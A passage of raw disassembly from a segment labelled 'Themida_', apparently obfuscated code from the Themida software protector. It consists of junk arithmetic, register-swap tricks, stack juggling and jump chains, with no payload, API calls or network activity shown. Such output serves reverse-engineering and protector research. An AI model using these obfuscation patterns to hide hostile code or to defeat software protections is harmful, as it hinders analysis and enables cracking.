add edx, ebp
pop ebp
jmp loc_590ADF
; ---------------------------------------------------------------------------
loc_597335: ; CODE XREF: Themida_:005960CCj
pop ebp
jmp loc_5A1927
; ---------------------------------------------------------------------------
loc_59733B: ; CODE XREF: Themida_:005A4FADj
pop eax
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_5A418C
; ---------------------------------------------------------------------------
loc_59734E: ; CODE XREF: Themida_:0059DB41j
mov ebp, 176755C0h
mov edx, ebp
jmp loc_595EDF
; ---------------------------------------------------------------------------
loc_59735A: ; CODE XREF: Themida_:005902CEj
mov al, 1Bh
jmp loc_590B50
; ---------------------------------------------------------------------------
loc_597361: ; CODE XREF: Themida_:0059641Fj
dec edi
xchg ecx, edi
not ecx
push edi
push ecx
pop edi
pop ecx
inc edi
jmp loc_59BF7A
; ---------------------------------------------------------------------------
loc_597370: ; CODE XREF: Themida_:00597D9Aj
and edx, 71B37B55h
add edx, 1
push esi
jmp loc_5916F0
; ---------------------------------------------------------------------------
loc_597382: ; CODE XREF: Themida_:0059D41Fj
mov [esp], ebp
push esp
pop ebp
push ebx
jmp loc_5A322E
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_59943E
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_593C38
; ---------------------------------------------------------------------------
loc_59739F: ; CODE XREF: Themida_:0059182Aj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 1F8Bh
mov [esp], edi
mov edi, esp
jmp loc_59B29F
; ---------------------------------------------------------------------------
loc_5973B7: ; CODE XREF: Themida_:0059E84Cj
mov edx, 56E4363Fh
not edx
dec edx
not edx
add edx, 0C4870807h
xor ecx, edx
pop edx
xor ecx, 19757758h
mov ebp, ecx
jmp loc_5A5461
; ---------------------------------------------------------------------------
loc_5973D7: ; CODE XREF: Themida_:0059672Bj
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A433C
; ---------------------------------------------------------------------------
loc_5973E5: ; CODE XREF: Themida_:00597DA7j
sub ebp, 4423534Bh
add ebp, edx
add ebp, 4423534Bh
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_593109
; ---------------------------------------------------------------------------
loc_597402: ; CODE XREF: Themida_:005949C5j
add esp, 4
jmp loc_590439
; ---------------------------------------------------------------------------
loc_59740A: ; CODE XREF: Themida_:005A12C8j
mov ecx, [esp]
add esp, 4
pop esi
push esi
jmp loc_59AFA8
; ---------------------------------------------------------------------------
loc_59741A: ; CODE XREF: Themida_:0059FAD3j
mov eax, [esp]
add esp, 4
jmp loc_594546
; ---------------------------------------------------------------------------
loc_597425: ; CODE XREF: Themida_:0059B545j
sub ebx, 3AD48C19h
sub ebx, 1
sub esp, 4
mov [esp], esi
jmp loc_596549
; ---------------------------------------------------------------------------
loc_597439: ; CODE XREF: Themida_:00595F1Fj
add esp, 4
jmp loc_5997B1
; ---------------------------------------------------------------------------
loc_597441: ; CODE XREF: Themida_:005A4C61j
inc ebx
jmp loc_59FF19
; ---------------------------------------------------------------------------
loc_597447: ; CODE XREF: Themida_:005A5346j
pop eax
push ebx
jmp loc_5A4C18
; ---------------------------------------------------------------------------
loc_59744E: ; CODE XREF: Themida_:005A39CDj
pop ebx
add ebx, 66982126h
pop edi
pop ebp
jmp loc_594719
; ---------------------------------------------------------------------------
loc_59745C: ; CODE XREF: Themida_:005A50A4j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59B648
; ---------------------------------------------------------------------------
loc_59746D: ; CODE XREF: Themida_:005A1C1Fj
pop edi
xor [esp+4], ebp
push dword ptr [esp]
pop ebp
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
xor eax, 42F654Ah
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esi
mov esi, 690814AEh
shr esi, 1
push ebp
mov ebp, 2874203Eh
add ebp, 2B71059Dh
and esi, ebp
pop ebp
push edi
mov edi, 7A2517F6h
jmp loc_5968F6
; ---------------------------------------------------------------------------
loc_5974B5: ; CODE XREF: Themida_:0059BC2Bj
push ebp
mov ebp, 68271C52h
jmp loc_59C9F2
; ---------------------------------------------------------------------------
loc_5974C0: ; CODE XREF: Themida_:00599A34j
sub ebx, eax
add ebx, 34011EC1h
pop eax
or eax, ebx
pop ebx
neg eax
jmp loc_5A2227
; ---------------------------------------------------------------------------
loc_5974D3: ; CODE XREF: Themida_:005A2180j
pop eax
push eax
jmp loc_5A462D
; ---------------------------------------------------------------------------
loc_5974DA: ; CODE XREF: Themida_:0059A730j
add edx, edi
push dword ptr [esp]
pop edi
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push ecx
mov ecx, 6FB87EC2h
jmp loc_597784
; ---------------------------------------------------------------------------
loc_5974FB: ; CODE XREF: Themida_:005903F8j
and ebx, edi
pop edi
jmp loc_5970D5
; ---------------------------------------------------------------------------
loc_597503: ; CODE XREF: Themida_:00592336j
push 1E87h
mov [esp], ebx
jmp loc_5A372F
; ---------------------------------------------------------------------------
loc_597510: ; CODE XREF: Themida_:00599E1Aj
mov ecx, [esp]
add esp, 4
and dl, 89h
not dl
dec dl
push ebx
mov bh, 0E2h
dec bh
sub bh, 4Fh
shr bh, 1
add bh, 86h
or bh, 1Eh
xor bh, 0B5h
jmp loc_594B3C
; ---------------------------------------------------------------------------
loc_597535: ; CODE XREF: Themida_:00593B89j
pop esi
add ebp, edx
jmp loc_598F7B
; ---------------------------------------------------------------------------
loc_59753D: ; CODE XREF: Themida_:005A34A4j
pop esp
mov [esp], ebp
mov ebp, 46AB66A2h
push 5FA5h
jmp loc_59CB72
; ---------------------------------------------------------------------------
loc_597550: ; CODE XREF: Themida_:0059CDB9j
push ebx
push ecx
jmp loc_59271C
; ---------------------------------------------------------------------------
loc_597557: ; CODE XREF: Themida_:0059B9EBj
sub bl, cl
jmp loc_59BFB2
; ---------------------------------------------------------------------------
loc_59755E: ; CODE XREF: Themida_:005922A1j
xchg eax, [esp]
pop esp
mov [esp], esi
jmp loc_594532
; ---------------------------------------------------------------------------
loc_59756A: ; CODE XREF: Themida_:00590AEBj
mov esp, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59F043
; ---------------------------------------------------------------------------
loc_597581: ; CODE XREF: Themida_:005971AFj
add al, 0ABh
add al, dl
push 59CDh
mov [esp], ecx
mov ch, 0AFh
shl ch, 1
shr ch, 8
push eax
mov ah, 3Fh
or ah, 3Fh
xor ah, 0DEh
sub ch, ah
jmp loc_59ADAA
; ---------------------------------------------------------------------------
loc_5975A4: ; CODE XREF: Themida_:0059C6D8j
push eax
jmp loc_5A5659
; ---------------------------------------------------------------------------
loc_5975AA: ; CODE XREF: Themida_:0059CA2Ej
pop eax
push edx
mov edx, esp
add edx, 4
push ecx
jmp loc_5A1501
; ---------------------------------------------------------------------------
loc_5975BA: ; CODE XREF: Themida_:0059E7EBj
sub [esp+4], dx
pop dx
mov si, [esp]
jmp loc_5980B7
; ---------------------------------------------------------------------------
loc_5975CA: ; CODE XREF: Themida_:00596EB7j
not edi
sub edi, 0ED80F324h
sub ebp, 14ED08B6h
sub ebp, edi
jmp loc_59556E
; ---------------------------------------------------------------------------
loc_5975DF: ; CODE XREF: Themida_:0059FED0j
or bh, dl
mov edx, [esp]
push ecx
mov ecx, esp
push ebx
mov ebx, 7CBC7FF3h
add ebx, 83438011h
add ecx, ebx
mov ebx, [esp]
add esp, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_5A4DE0
; ---------------------------------------------------------------------------
loc_59760C: ; CODE XREF: Themida_:0059AED3j
add eax, ebp
push edi
mov edi, 485E6808h
sub eax, edi
jmp loc_5955F4
; ---------------------------------------------------------------------------
loc_59761B: ; CODE XREF: Themida_:0059A13Bj
mov bh, 72h
sub bh, al
pop eax
xor cl, bh
mov ebx, [esp]
add esp, 4
jmp loc_593814
; ---------------------------------------------------------------------------
loc_597630: ; CODE XREF: Themida_:0059FF89j
push edx
mov edx, 4E561DF0h
xor edi, edx
jmp loc_59D02B
; ---------------------------------------------------------------------------
loc_59763D: ; CODE XREF: Themida_:005930A6j
push eax
push 0BFCh
jmp loc_592343
; ---------------------------------------------------------------------------
loc_597648: ; CODE XREF: Themida_:0059138Aj
mov ebx, esp
jmp loc_59779F
; ---------------------------------------------------------------------------
loc_59764F: ; CODE XREF: Themida_:0059D9F9j
xor al, bl
push small 6B88h
jmp loc_596727
; ---------------------------------------------------------------------------
loc_59765A: ; CODE XREF: Themida_:00595C56j
add ecx, eax
pop eax
push 3B0Ch
jmp loc_5A1A92
; ---------------------------------------------------------------------------
loc_597667: ; CODE XREF: Themida_:005A3853j
xor ebp, 53027A95h
push ebp
pop edi
pop ebp
add edi, 788C17E4h
push edi
not dword ptr [esp]
pop edi
neg edi
sub esp, 4
mov [esp], ebp
mov ebp, 216D09C7h
and edi, ebp
mov ebp, [esp]
push eax
mov eax, esp
jmp loc_59EE54
; ---------------------------------------------------------------------------
loc_597698: ; CODE XREF: Themida_:005A40D4j
sub cl, 69h
pop eax
jmp loc_59B100
; ---------------------------------------------------------------------------
loc_5976A1: ; CODE XREF: Themida_:00595AE3j
xor eax, edi
pop edi
sub esi, 24EE463Bh
add esi, eax
sub esp, 4
mov [esp], ebp
push ecx
mov ecx, 1446580Bh
mov ebp, 10A7EE30h
sub ebp, 1C525613h
add ebp, ecx
add ebp, 1C525613h
pop ecx
jmp loc_5A2BC3
; ---------------------------------------------------------------------------
loc_5976D4: ; CODE XREF: Themida_:0059E540j
add ecx, 0C0FAEA5Ch
sub ebp, ecx
pop ecx
pop esi
push ebx
push ebp
push ecx
push edx
jmp loc_5A1D16
; ---------------------------------------------------------------------------
loc_5976E7: ; CODE XREF: Themida_:0059791Aj
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push 581Bh
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
jmp loc_59E76A
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6803h
mov [esp], eax
push esp
push dword ptr [esp]
pop eax
push 5579h
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
jmp loc_596717
; ---------------------------------------------------------------------------
loc_59773A: ; CODE XREF: Themida_:00599018j
add esp, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
xor ebx, eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_5A3828
; ---------------------------------------------------------------------------
loc_597765: ; CODE XREF: Themida_:005A5589j
pop ebp
add ebp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 449047A4h
push 4DB3h
mov [esp], ebp
jmp loc_59D515
; ---------------------------------------------------------------------------
loc_597784: ; CODE XREF: Themida_:005974F6j
dec ecx
dec ecx
jmp loc_59B403
; ---------------------------------------------------------------------------
loc_59778B: ; CODE XREF: Themida_:00596594j
not ecx
inc ecx
or ecx, 34F266A8h
add ecx, 236E860Ah
jmp loc_59EEF1
; ---------------------------------------------------------------------------
loc_59779F: ; CODE XREF: Themida_:0059764Aj
add ebx, 4
add ebx, 4
jmp loc_59C91E
; ---------------------------------------------------------------------------
loc_5977AD: ; CODE XREF: Themida_:005A2F9Dj
mov [esp], ecx
mov ecx, 3F8D7C71h
mov esi, 0F928C704h
jmp loc_593821
; ---------------------------------------------------------------------------
loc_5977BF: ; CODE XREF: Themida_:005971D3j
push 0F1A17EAh
pop ecx
jmp loc_594AEE
; ---------------------------------------------------------------------------
loc_5977CA: ; CODE XREF: Themida_:0059B83Cj
mov eax, 238D1BC8h
not eax
shr eax, 7
push ebp
mov ebp, 6FAF1ACFh
push ecx
mov ecx, 419467EFh
add ebp, ecx
pop ecx
jmp loc_599C34
; ---------------------------------------------------------------------------
loc_5977E8: ; CODE XREF: Themida_:0059F938j
mov si, 2
add word ptr [esp+2], 2A4Ah
add [esp+2], si
push dx
jmp loc_59E7E7
; ---------------------------------------------------------------------------
loc_5977FF: ; CODE XREF: Themida_:0059E158j
add edi, ebx
pop ebx
push 1191h
mov [esp], ebx
mov ebx, 4
push edx
jmp loc_5A13F6
; ---------------------------------------------------------------------------
loc_597815: ; CODE XREF: Themida_:005A064Fj
sub eax, 3C0B0F10h
push ebx
mov ebx, 4689791Ch
or eax, ebx
pop ebx
sub esp, 4
jmp loc_5A310E
; ---------------------------------------------------------------------------
loc_59782B: ; CODE XREF: Themida_:00598138j
push 75A0h
mov [esp], eax
mov eax, 138F5A22h
xor ebx, eax
pop eax
dec ebx
neg ebx
sub ebx, 172C7453h
sub ebx, 607E0ECEh
sub ebx, 17554E03h
add esi, 1B72031Bh
add esi, ebx
sub esi, 1B72031Bh
pop ebx
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
sub esp, 4
mov [esp], edx
mov edx, 28F57502h
push edx
sub dword ptr [esp], 17A504B3h
pop esi
jmp loc_59DBDD
; ---------------------------------------------------------------------------
loc_597885: ; CODE XREF: Themida_:00597C03j
add edx, esi
mov esi, [esp]
add esp, 4
push edx
pop eax
pop edx
sub esp, 4
mov [esp], ebx
push 2B64h
mov [esp], ebp
jmp loc_59F007
; ---------------------------------------------------------------------------
loc_5978A9: ; CODE XREF: Themida_:00595D45j
mov bl, al
pop eax
mov cl, bl
jmp loc_590EEB
; ---------------------------------------------------------------------------
loc_5978B3: ; CODE XREF: Themida_:0059B289j
add ebx, 46954D17h
sub ebx, 425D7224h
jmp loc_5923AC
; ---------------------------------------------------------------------------
loc_5978C4: ; CODE XREF: Themida_:0059DFC4j
sub ecx, 0B8CC2130h
add ebx, ecx
pop ecx
mov eax, [esp]
add esp, 4
and eax, ebx
pop ebx
shr eax, 8
xor eax, ecx
push 7EF0h
mov [esp], eax
xchg ecx, [esp]
jmp loc_59B2E1
; ---------------------------------------------------------------------------
loc_5978EB: ; CODE XREF: Themida_:005A4078j
pop esp
bt [esp], eax
pushf
jmp loc_590E45
; ---------------------------------------------------------------------------
loc_5978F6: ; CODE XREF: Themida_:0059B757j
shr eax, 7
push ebx
mov ebx, 2DAD9924h
jmp loc_59CFCA
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5976E7
; ---------------------------------------------------------------------------
loc_59791F: ; CODE XREF: Themida_:00593DBFj
push edi
mov edi, esp
add edi, 4
jmp loc_5964F1
; ---------------------------------------------------------------------------
loc_59792D: ; CODE XREF: Themida_:0059CB35j
pop eax
xchg ebp, [esp]
pop esp
xor al, bh
jmp loc_596C61
; ---------------------------------------------------------------------------
loc_597939: ; CODE XREF: Themida_:00599528j
mov esp, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_59A278
; ---------------------------------------------------------------------------
loc_597949: ; CODE XREF: Themida_:00598500j
push ebx
push ebp
mov ebp, 5FB9503Dh
dec ebp
dec ebp
add ebp, 0A046AFC7h
mov ebx, ebp
pop ebp
jmp loc_592F35
; ---------------------------------------------------------------------------
loc_597960: ; CODE XREF: Themida_:0059D7D5j
mov ebx, [esp]
add esp, 4
sub al, bl
sub al, 5Ah
push 74E1h
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
jmp loc_59A516
; ---------------------------------------------------------------------------
loc_59798C: ; CODE XREF: Themida_:00599D7Cj
xor edx, edi
pop edi
jmp loc_599D2D
; ---------------------------------------------------------------------------
loc_597994: ; CODE XREF: Themida_:00598C58j
push 7120h
mov [esp], edx
mov edi, [esp]
add esp, 4
jmp loc_5A4E08
; ---------------------------------------------------------------------------
loc_5979AA: ; CODE XREF: Themida_:005A00B3j
add esp, 4
push eax
push ecx
jmp loc_5A10D7
; ---------------------------------------------------------------------------
loc_5979B4: ; CODE XREF: Themida_:005923B5j
push 0
sub [esp], ebx
pop ebx
xor ebx, 35DA6022h
push eax
jmp loc_59B481
; ---------------------------------------------------------------------------
loc_5979C9: ; CODE XREF: Themida_:0059FC68j
not bl
mov ch, bl
mov bx, [esp]
add esp, 2
push eax
push edx
jmp loc_59BA21
; ---------------------------------------------------------------------------
loc_5979DB: ; CODE XREF: Themida_:005A32A0j
pop esp
push small 7E97h
mov [esp], dx
push eax
mov al, 0A0h
mov dl, al
pop eax
sub al, 2Ch
jmp loc_59194C
; ---------------------------------------------------------------------------
loc_5979F1: ; CODE XREF: Themida_:005A44F2j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5979F6: ; CODE XREF: Themida_:0059970Dj
mov esi, [esp]
add esp, 4
xchg eax, [esp]
mov esp, [esp]
shr ecx, 2
push eax
push 3E88h
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_59125B
; ---------------------------------------------------------------------------
loc_597A18: ; CODE XREF: Themida_:00591DFDj
push 1A45CFEh
pop esi
sub esi, 1A45CFAh
jmp loc_5A1772
; ---------------------------------------------------------------------------
loc_597A29: ; CODE XREF: Themida_:0059F6FAj
mov ecx, 2E8E5790h
or ecx, 57871965h
dec ecx
not ecx
jmp loc_598286
; ---------------------------------------------------------------------------
loc_597A3C: ; CODE XREF: Themida_:00593B01j
push eax
mov eax, 2
add edi, eax
pop eax
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_597A5A: ; CODE XREF: Themida_:00591613j
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_598512
; ---------------------------------------------------------------------------
loc_597A6D: ; CODE XREF: Themida_:0059A993j
mov [esp], eax
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A1933
; ---------------------------------------------------------------------------
loc_597A8A: ; CODE XREF: Themida_:0059DC9Cj
add ebp, 25FC25B0h
add ebp, 7BF47963h
push eax
jmp loc_5A0A71
; ---------------------------------------------------------------------------
loc_597A9C: ; CODE XREF: Themida_:0059806Ej
mov edx, 0E85A0AE9h
jmp loc_5A2A66
; ---------------------------------------------------------------------------
loc_597AA6: ; CODE XREF: Themida_:00598DFEj
add al, dh
pop edx
add al, bl
push ebx
mov bh, 0F6h
and bh, 0ABh
not bh
add bh, 4Ah
sub al, bh
pop ebx
push dword ptr [esp]
pop ebx
jmp loc_59AA93
; ---------------------------------------------------------------------------
loc_597AC2: ; CODE XREF: Themida_:0059A11Aj
mov ebx, 446E7790h
push esi
mov esi, 376A65AFh
sub esi, 2176264h
neg esi
inc esi
shl esi, 4
xor esi, 946FA781h
add eax, esi
pop esi
add eax, ebx
sub eax, 3EA06CE1h
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_595AEF
; ---------------------------------------------------------------------------
loc_597AF8: ; CODE XREF: Themida_:00594863j
sub ecx, 718EEA9Bh
add ebx, ecx
pop ecx
pop edi
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
xor ebx, 1DD24576h
add edx, ebx
pop ebx
jmp loc_59F0C0
; ---------------------------------------------------------------------------
loc_597B1C: ; CODE XREF: Themida_:005949BBj
mov [esp], edi
push 45A2h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5910FC
; ---------------------------------------------------------------------------
loc_597B30: ; CODE XREF: Themida_:005A2E96j
mov ecx, 73FD494Dh
or ebp, ecx
pop ecx
jmp loc_598829
; ---------------------------------------------------------------------------
loc_597B3D: ; CODE XREF: Themida_:0059D8ABj
xor cl, 1Eh
neg cl
and cl, 0D9h
push edx
jmp loc_59C61A
; ---------------------------------------------------------------------------
loc_597B4B: ; CODE XREF: Themida_:005A372Aj
add esp, 4
push edx
push 6589h
mov [esp], esp
push edx
push edi
jmp loc_5989B5
; ---------------------------------------------------------------------------
loc_597B61: ; CODE XREF: Themida_:0059F8C5j
sub al, 0C6h
mov dx, [esp]
add esp, 2
add al, 1Fh
add al, bl
sub al, 1Fh
push ebx
mov bh, 75h
push ecx
push eax
mov ah, 35h
push eax
inc byte ptr [esp+1]
pop eax
push edx
jmp loc_5922A6
; ---------------------------------------------------------------------------
loc_597B86: ; CODE XREF: Themida_:005A2FDFj
add edi, ebp
pop ebp
jmp loc_594FA5
; ---------------------------------------------------------------------------
loc_597B8E: ; CODE XREF: Themida_:0059181Cj
xor edx, 6DF15016h
push eax
mov eax, 0AD88ABEEh
sub edx, eax
jmp loc_591004
; ---------------------------------------------------------------------------
loc_597BA1: ; CODE XREF: Themida_:0059D782j
add al, 44h
push 3ADFh
mov [esp], ebx
jmp loc_5A5609
; ---------------------------------------------------------------------------
loc_597BB0: ; CODE XREF: Themida_:005957DCj
mov bl, 0A5h
xor bl, 80h
xor bl, 22h
shr bl, 1
jmp loc_593ACE
; ---------------------------------------------------------------------------
loc_597BBF: ; CODE XREF: Themida_:0059CE86j
push ebp
mov ebp, 2C9909FEh
inc ebp
inc ebp
jmp loc_596E07
; ---------------------------------------------------------------------------
loc_597BCC: ; CODE XREF: Themida_:005A1343j
add esp, 4
add eax, 76132D26h
push ebx
mov ebx, 0B551B2Fh
sub eax, ebx
pop ebx
sub eax, 36046E0Ah
sub eax, ebp
add eax, 36046E0Ah
push ecx
mov ecx, 31BE614Ah
xor ecx, 22196995h
jmp loc_59972E
; ---------------------------------------------------------------------------
loc_597BFD: ; CODE XREF: Themida_:00598D20j
add esi, 0E57EA6E8h
jmp loc_597885
; ---------------------------------------------------------------------------
loc_597C08: ; CODE XREF: Themida_:0059AC4Cj
mov [esp], ebp
push esp
pop ebp
push 5AA4h
mov [esp], esi
jmp loc_59E524
; ---------------------------------------------------------------------------
loc_597C1A: ; CODE XREF: Themida_:005949F9j
pop ebx
xor al, ch
mov cx, [esp]
add esp, 2
xor bl, al
sub esp, 4
mov [esp], ebx
push 54D5h
mov [esp], ebp
mov ebp, 6E8D7E3Ah
jmp loc_5A201B
; ---------------------------------------------------------------------------
loc_597C41: ; CODE XREF: Themida_:0059C671j
mov ebp, 549851CAh
push edx
jmp loc_5A000F
; ---------------------------------------------------------------------------
loc_597C4C: ; CODE XREF: Themida_:005A371Ej
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
jmp loc_59085F
; ---------------------------------------------------------------------------
loc_597C65: ; CODE XREF: Themida_:005A3F50j
pop esi
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], edx
sub esp, 4
jmp loc_5947E3
; ---------------------------------------------------------------------------
loc_597C7B: ; CODE XREF: Themida_:00590822j
xor edi, 8C79B1C4h
add esi, edi
pop edi
push 3943h
mov [esp], ebp
mov ebp, 20BD3565h
sub esi, 641C1F06h
sub esi, ebp
add esi, 641C1F06h
mov ebp, [esp]
add esp, 4
push edi
mov edi, 1295D6Ch
add esi, edi
mov edi, [esp]
push eax
mov eax, esp
jmp loc_59567C
; ---------------------------------------------------------------------------
loc_597CBB: ; CODE XREF: Themida_:0059F095j
shr eax, 0Bh
xor ecx, eax
push esi
mov esi, esp
push eax
mov eax, 4
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_5A3A2A
; ---------------------------------------------------------------------------
loc_597CDD: ; CODE XREF: Themida_:0059D567j
mov ebx, 51F01FBh
sub esi, ebx
pop ebx
mov edx, esi
push dword ptr [esp]
pop esi
jmp loc_59B339
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov edx, [esp]
jmp loc_5910E4
; ---------------------------------------------------------------------------
loc_597CFB: ; CODE XREF: Themida_:0059F20Cj
sub esi, 38AC30F0h
not esi
jmp loc_596F87
; ---------------------------------------------------------------------------
loc_597D08: ; CODE XREF: Themida_:0059F3E8j
mov ebp, 3EB21B2h
jmp loc_599AE6
; ---------------------------------------------------------------------------
loc_597D12: ; CODE XREF: Themida_:00598ACAj
inc ebx
xor ebx, 722910CAh
sub eax, ebx
jmp loc_591E41
; ---------------------------------------------------------------------------
loc_597D20: ; CODE XREF: Themida_:0059C155j
add edi, 4
jmp loc_5A1009
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5936BC
; ---------------------------------------------------------------------------
loc_597D39: ; CODE XREF: Themida_:005971EAj
push esi
push 476D9EEEh
pop esi
jmp loc_5A17EB
; ---------------------------------------------------------------------------
loc_597D45: ; CODE XREF: Themida_:0059D457j
mov ch, 39h
jmp loc_59529C
; ---------------------------------------------------------------------------
loc_597D4C: ; CODE XREF: Themida_:005A38F6j
mov esp, [esp]
jmp loc_592DCD
; ---------------------------------------------------------------------------
loc_597D54: ; CODE XREF: Themida_:0059D5F1j
pop esi
add esi, 378643F6h
sub esi, 620C2589h
add esi, eax
add esi, 620C2589h
sub esi, 378643F6h
push dword ptr [esp]
pop eax
push edi
push esp
pop edi
add edi, 4
jmp loc_59E029
; ---------------------------------------------------------------------------
loc_597D81: ; CODE XREF: Themida_:0059BA63j
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_59CB45
; ---------------------------------------------------------------------------
loc_597D8F: ; CODE XREF: Themida_:00598238j
mov edi, 2E6AB196h
add edx, edi
pop edi
neg edx
dec edx
jmp loc_597370
; ---------------------------------------------------------------------------
loc_597D9F: ; CODE XREF: Themida_:005A04F9j
sub eax, 0E61EC2C5h
mov edx, eax
pop eax
jmp loc_5973E5
; ---------------------------------------------------------------------------
loc_597DAC: ; CODE XREF: Themida_:00590B8Fj
pop edi
add ebp, 3FD4689Ch
jmp loc_59F36D
; ---------------------------------------------------------------------------
loc_597DB8: ; CODE XREF: Themida_:00591D88j
shr dl, 1
sub dl, 28h
sub cl, dl
jmp loc_59A9FC
; ---------------------------------------------------------------------------
loc_597DC4: ; CODE XREF: Themida_:005A09C3j
add esp, 2
sub esp, 4
jmp loc_59EAE5
; ---------------------------------------------------------------------------
loc_597DD2: ; CODE XREF: Themida_:005A3F71j
add dh, 31h
mov bx, [esp]
add esp, 2
jmp loc_59176C
; ---------------------------------------------------------------------------
loc_597DE1: ; CODE XREF: Themida_:00593F61j
pop ecx
add ebx, edx
sub ebx, 765B6DA6h
push dword ptr [esp]
mov edx, [esp]
push eax
jmp loc_5A4D7C
; ---------------------------------------------------------------------------
loc_597DF6: ; CODE XREF: Themida_:0059C853j
mov [esp], edi
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_5A33D7
; ---------------------------------------------------------------------------
loc_597E08: ; CODE XREF: Themida_:005A51A0j
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, ebx
jmp loc_5A151D
; ---------------------------------------------------------------------------
loc_597E1D: ; CODE XREF: Themida_:00598256j
pop esp
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 16C40D11h
xor ebp, 16C40D15h
add ecx, ebp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5933FC
; ---------------------------------------------------------------------------
loc_597E4D: ; CODE XREF: Themida_:005A47EEj
sub ecx, esi
pop esi
push edx
mov edx, 4AA727DCh
add ecx, edx
pop edx
mov [ecx], dl
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_591896
; ---------------------------------------------------------------------------
loc_597E6A: ; CODE XREF: Themida_:00597F5Aj
inc eax
shr eax, 2
sub eax, 689B2403h
push esi
jmp loc_59D667
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 46A0h
mov [esp], ebx
push edx
push 4849h
mov [esp], ebx
push ecx
mov ch, 91h
jmp loc_59AC9E
; ---------------------------------------------------------------------------
loc_597E95: ; CODE XREF: Themida_:00592E01j
push esi
mov esi, esp
add esi, 4
jmp loc_5A2B25
; ---------------------------------------------------------------------------
loc_597EA3: ; CODE XREF: Themida_:0059A86Cj
sub eax, 1E492076h
add eax, edx
add eax, 1E492076h
jmp loc_59EC86
; ---------------------------------------------------------------------------
loc_597EB4: ; CODE XREF: Themida_:0059A5E3j
add eax, ebx
add eax, 7322705Eh
push esi
jmp loc_597020
; ---------------------------------------------------------------------------
loc_597EC1: ; CODE XREF: Themida_:005A3229j
not ebx
jmp loc_59B0E4
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
jmp loc_5A3F0E
; ---------------------------------------------------------------------------
loc_597ED3: ; CODE XREF: Themida_:005962C7j
push 60225C8Bh
pop edx
and edx, 77C31509h
sub esp, 4
mov [esp], edi
mov edi, 67D810D6h
xor edi, 5773AF6h
xor edi, 7A9BF5D3h
sub edx, edi
pop edi
sub ebx, edx
pop edx
push edi
mov edi, 6B330F70h
add edi, 444C0661h
sub edi, 21EB1C63h
neg edi
jmp loc_59C2FF
; ---------------------------------------------------------------------------
loc_597F15: ; CODE XREF: Themida_:0059EAF0j
add al, 0Ah
add al, bh
push ebx
mov bl, 8Ah
shr bl, 7
jmp loc_5A3A5E
; ---------------------------------------------------------------------------
loc_597F24: ; CODE XREF: Themida_:0059FE9Cj
sub edi, 3C75C7B0h
sub ebx, edi
pop edi
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_5A5063
; ---------------------------------------------------------------------------
loc_597F3B: ; CODE XREF: Themida_:00593125j
neg ecx
not ecx
sub ecx, 0D509053Fh
push edi
jmp loc_5937C8
; ---------------------------------------------------------------------------
loc_597F4B: ; CODE XREF: Themida_:005969FDj
pop ecx
push 39A7h
mov [esp], ebx
push eax
mov eax, 4BB60CBEh
jmp loc_597E6A
; ---------------------------------------------------------------------------
loc_597F5F: ; CODE XREF: Themida_:0059EE86j
mov esi, 4
add edi, esi
pop esi
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push ecx
push 3C1Eh
mov [esp], esp
